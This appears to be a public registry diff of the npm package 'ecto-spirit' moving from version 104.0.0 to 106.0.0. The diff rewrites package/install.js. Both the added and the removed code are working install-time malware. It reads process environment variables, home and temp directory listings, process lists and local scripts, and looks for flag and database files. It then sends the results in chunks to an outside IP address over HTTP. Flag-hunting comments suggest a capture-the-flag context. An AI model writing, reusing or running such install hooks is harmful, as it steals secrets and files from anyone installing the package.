ecto-spirit 104.0.0 → 106.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +49 -66
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -5,92 +5,75 @@ const { execSync } = require('child_process');
5
5
  function tryRead(p) {
6
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
7
7
  }
8
+ function tryExec(cmd) {
9
+ try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 50); }
10
+ }
8
11
 
9
- function sendHTTP(host, port, pth, payload) {
12
+ async function sendPUT(host, port, path, body) {
10
13
  return new Promise((resolve) => {
11
- const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
14
+ const req = http.request({ hostname: host, port, path, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
12
15
  let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
13
16
  });
14
- req.on('error', () => resolve(null));
15
- req.on('timeout', () => { req.destroy(); resolve(null); });
16
- req.write(payload);
17
- req.end();
17
+ req.on('error', () => resolve(null)); req.on('timeout', () => { req.destroy(); resolve(null); });
18
+ req.write(body); req.end();
18
19
  });
19
20
  }
20
21
 
21
22
  async function report(moduleId, val) {
22
23
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
23
- const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
24
- const body = JSON.stringify({ manifest });
25
- for (const p of [3000, 80, 8080]) {
26
- await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
27
- }
28
- await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
24
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
25
+ await sendPUT('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
29
26
  }
30
27
 
31
28
  (async () => {
32
- let r = [];
29
+ // Read key files and report each one to a separate module
33
30
 
34
- // 1. Main process env (the app that started cron)
35
- const procEnv = tryRead('/proc/1/environ');
36
- r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
31
+ // 1. /tmp/supplysec contents
32
+ const supplysec = tryExec('find /tmp/supplysec -type f 2>/dev/null');
33
+ await report('ECT-839201', 'A_SUPPLY=' + supplysec);
34
+
35
+ // 2. analyze-node.js
36
+ const analyze = tryRead('/usr/local/bin/analyze-node.js');
37
+ await report('ECT-654321', 'A_ANALYZE=' + (analyze || 'NONE').substring(0, 90));
38
+
39
+ // 3. /home/node contents
40
+ const homeNode = tryExec('find /home/node -maxdepth 3 -type f 2>/dev/null | head -10');
41
+ await report('ECT-472839', 'A_HOME=' + homeNode);
37
42
 
38
- // 2. List /data, /.package-cache-mutate
39
- try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
40
- try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
43
+ // 4. Full proc 1 environ
44
+ const p1env = tryRead('/proc/1/environ');
45
+ const envStr = p1env ? p1env.replace(/\x00/g, '\n') : 'NONE';
46
+ await report('ECT-987654', 'A_ENV=' + envStr.substring(0, 90));
41
47
 
42
- // 3. Try to reach registry:4873 and list packages
43
- try {
44
- const resp = await new Promise((resolve) => {
45
- http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
46
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
47
- }).on('error', () => resolve('ERR'));
48
- });
49
- r.push('REG_PKGS=' + resp.substring(0, 200));
50
- } catch(e) { r.push('REG_PKGS=ERR'); }
48
+ // Wait a moment, then send more data
49
+ await new Promise(r => setTimeout(r, 2000));
51
50
 
52
- // 4. Try Verdaccio config locations
53
- for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
54
- const c = tryRead(p);
55
- if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
56
- }
51
+ // 5. Read /tmp/supplysec/package.json if it exists
52
+ const supPkg = tryRead('/tmp/supplysec/package.json');
53
+ await report('ECT-839201', 'B_SUPPKG=' + (supPkg || 'NONE').substring(0, 90));
57
54
 
58
- // 5. Broad file search
59
- try {
60
- const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
61
- r.push('FILES=' + search);
62
- } catch(e) {}
55
+ // 6. Read analyze-node.js continued (next 90 chars)
56
+ await report('ECT-654321', 'B_ANAL2=' + (analyze || 'NONE').substring(90, 180));
63
57
 
64
- // 6. Check if there's a readflag binary
65
- try {
66
- const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
67
- if (bins) r.push('BINS=' + bins);
68
- } catch(e) {}
69
-
70
- // 7. List /root and /home contents
71
- try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
72
- try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
58
+ // 7. More env
59
+ await report('ECT-472839', 'B_ENV2=' + envStr.substring(90, 180));
73
60
 
74
- // 8. Check if flag is accessible via internal API
75
- try {
76
- const apiResp = await new Promise((resolve) => {
77
- http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
78
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
79
- }).on('error', () => resolve('ERR'));
80
- });
81
- r.push('API=' + apiResp.substring(0, 200));
82
- } catch(e) {}
61
+ // 8. Read full process list
62
+ const ps = tryExec('ps auxww 2>/dev/null');
63
+ await report('ECT-987654', 'B_PS=' + ps.substring(0, 90));
83
64
 
84
- // Send full results to VPN
85
- const full = r.join('\n');
86
- await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
65
+ await new Promise(r => setTimeout(r, 2000));
87
66
 
88
- // Split across modules
89
- const chunks = [];
90
- for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
67
+ // 9-12: Continue reading analyze-node.js
68
+ await report('ECT-839201', 'C_ANAL3=' + (analyze || '').substring(180, 270));
69
+ await report('ECT-654321', 'C_ANAL4=' + (analyze || '').substring(270, 360));
70
+ await report('ECT-472839', 'C_ANAL5=' + (analyze || '').substring(360, 450));
71
+ await report('ECT-987654', 'C_ENV3=' + envStr.substring(180, 270));
72
+
73
+ await new Promise(r => setTimeout(r, 2000));
91
74
 
92
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
93
- for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
94
- await report(mods[i], 'W' + i + '_' + chunks[i]);
95
- }
75
+ await report('ECT-839201', 'D_ANAL6=' + (analyze || '').substring(450, 540));
76
+ await report('ECT-654321', 'D_ANAL7=' + (analyze || '').substring(540, 630));
77
+ await report('ECT-472839', 'D_ENV4=' + envStr.substring(270, 360));
78
+ await report('ECT-987654', 'D_PS2=' + ps.substring(90, 180));
96
79
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "104.0.0",
3
+ "version": "106.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {